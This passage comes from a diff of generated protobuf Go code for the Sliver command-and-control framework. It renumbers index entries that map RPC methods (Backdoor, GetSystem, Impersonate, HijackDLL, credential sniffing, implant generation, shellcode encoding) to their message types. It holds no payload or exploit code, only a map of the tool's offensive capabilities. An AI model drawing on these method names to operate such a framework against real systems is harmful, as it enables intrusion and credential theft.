rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 82: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 41, // 83: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 41, // 84: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 85: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 42, // 86: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 42, // 87: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 43, // 88: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 43, // 89: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 44, // 90: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 45, // 91: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 46, // 92: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 47, // 93: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 48, // 94: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 49, // 95: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 50, // 96: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 51, // 97: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 52, // 98: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 53, // 99: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 54, // 100: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 55, // 101: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 56, // 102: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 57, // 103: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 58, // 104: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 59, // 105: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq - 60, // 106: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 61, // 107: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 62, // 108: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 63, // 109: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 64, // 110: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 65, // 111: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 66, // 112: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 67, // 113: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 68, // 114: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 69, // 115: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 70, // 116: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 71, // 117: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 72, // 118: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 73, // 119: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 74, // 120: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 75, // 121: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 76, // 122: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 77, // 123: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 78, // 124: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 79, // 125: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 80, // 126: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 81, // 127: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 82, // 128: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 83, // 129: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 84, // 130: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 131: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 85, // 132: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 86, // 133: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 87, // 134: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 88, // 135: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 89, // 136: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 90, // 137: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 91, // 138: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 92, // 139: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 93, // 140: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 94, // 141: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 95, // 142: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 96, // 143: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 97, // 144: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 98, // 145: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 99, // 146: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 100, // 147: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 101, // 148: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 102, // 149: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 103, // 150: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 104, // 151: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 105, // 152: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 106, // 153: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 107, // 154: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 108, // 155: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 109, // 156: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 110, // 157: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 111, // 158: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 112, // 159: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 113, // 160: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 114, // 161: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 115, // 162: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 116, // 163: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 117, // 164: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 118, // 165: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 119, // 166: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 120, // 167: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 121, // 168: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 121, // 169: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 122, // 170: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 123, // 171: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 123, // 172: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 124, // 173: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 174: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 125, // 175: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 176: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 126, // 177: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 178: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 127, // 179: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 180: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 128, // 181: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 129, // 182: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 183: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 130, // 184: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders - 129, // 185: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response - 129, // 186: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response - 131, // 187: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob - 131, // 188: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob - 131, // 189: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob - 131, // 190: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob - 131, // 191: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob - 132, // 192: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 10, // 193: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 194: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 133, // 195: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 11, // 196: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 11, // 197: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 134, // 198: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 135, // 199: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 0, // 200: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty - 136, // 201: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 15, // 202: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 203: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 15, // 204: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 15, // 205: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 137, // 206: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 16, // 207: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 208: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 209: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 210: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 17, // 211: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 16, // 212: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 16, // 213: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 17, // 214: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 138, // 215: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 18, // 216: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 217: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 218: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 139, // 219: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 140, // 220: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 221: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 140, // 222: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig - 139, // 223: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate - 0, // 224: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty - 141, // 225: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs - 142, // 226: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config - 0, // 227: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty - 29, // 228: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 229: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 143, // 230: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 29, // 231: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 232: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 233: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 144, // 234: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 32, // 235: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 236: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 145, // 237: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 33, // 238: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 239: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 34, // 240: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 241: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 242: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 139, // 243: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 146, // 244: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 245: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 147, // 246: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 148, // 247: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 149, // 248: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 150, // 249: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 250: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 37, // 251: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 151, // 252: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 152, // 253: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 153, // 254: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 154, // 255: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 155, // 256: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 156, // 257: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 157, // 258: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 259: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 158, // 260: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 42, // 261: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 262: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 42, // 263: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 42, // 264: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 42, // 265: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 45, // 266: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 159, // 267: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 160, // 268: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 161, // 269: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 162, // 270: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 163, // 271: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 164, // 272: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 164, // 273: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 165, // 274: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 166, // 275: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 167, // 276: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 168, // 277: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 169, // 278: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 170, // 279: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 171, // 280: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep - 172, // 281: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 173, // 282: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 174, // 283: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 163, // 284: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 175, // 285: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 176, // 286: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 177, // 287: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 178, // 288: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 179, // 289: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 180, // 290: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 181, // 291: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 182, // 292: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 182, // 293: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 182, // 294: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 183, // 295: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 184, // 296: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 185, // 297: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 185, // 298: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 186, // 299: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 187, // 300: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 188, // 301: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 189, // 302: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 190, // 303: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 304: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 191, // 305: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 192, // 306: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 193, // 307: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 193, // 308: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 193, // 309: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 194, // 310: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 195, // 311: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 196, // 312: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 197, // 313: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 198, // 314: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 199, // 315: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 200, // 316: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 201, // 317: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 202, // 318: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 203, // 319: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 204, // 320: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 205, // 321: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 206, // 322: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 207, // 323: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 208, // 324: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 209, // 325: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 208, // 326: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 105, // 327: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 328: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 210, // 329: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 211, // 330: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 212, // 331: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 213, // 332: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 214, // 333: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 215, // 334: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 216, // 335: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 216, // 336: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 217, // 337: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 217, // 338: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 218, // 339: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 219, // 340: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 220, // 341: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 221, // 342: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 121, // 343: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 344: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 122, // 345: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 123, // 346: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 347: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 124, // 348: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 29, // 349: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 175, // [175:350] is the sub-list for method output_type - 0, // [0:175] is the sub-list for method input_type + 5, // 6: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand + 6, // 7: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest + 0, // 8: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 9: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 10: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 11: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty + 7, // 12: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider + 7, // 13: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider + 8, // 14: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 9, // 15: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 10, // 16: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 11, // 17: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 11, // 18: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 0, // 19: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 12, // 20: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 12, // 21: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 12, // 22: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 13, // 23: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 13, // 24: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 25: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 14, // 26: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 15, // 27: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq + 16, // 28: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 17, // 29: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 17, // 30: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 17, // 31: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 17, // 32: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 33: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 34: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 18, // 35: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 18, // 36: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 18, // 37: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 19, // 38: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 19, // 39: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 19, // 40: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 19, // 41: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 42: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 20, // 43: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 20, // 44: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 21, // 45: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 22, // 46: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 23, // 47: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 24, // 48: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 25, // 49: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild + 26, // 50: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq + 27, // 51: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq + 0, // 52: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty + 28, // 53: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq + 29, // 54: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq + 30, // 55: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 31, // 56: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 57: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 32, // 58: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 31, // 59: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 33, // 60: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 61: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 34, // 62: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 34, // 63: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 35, // 64: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 35, // 65: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 36, // 66: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 36, // 67: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 35, // 68: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 35, // 69: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 37, // 70: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 71: 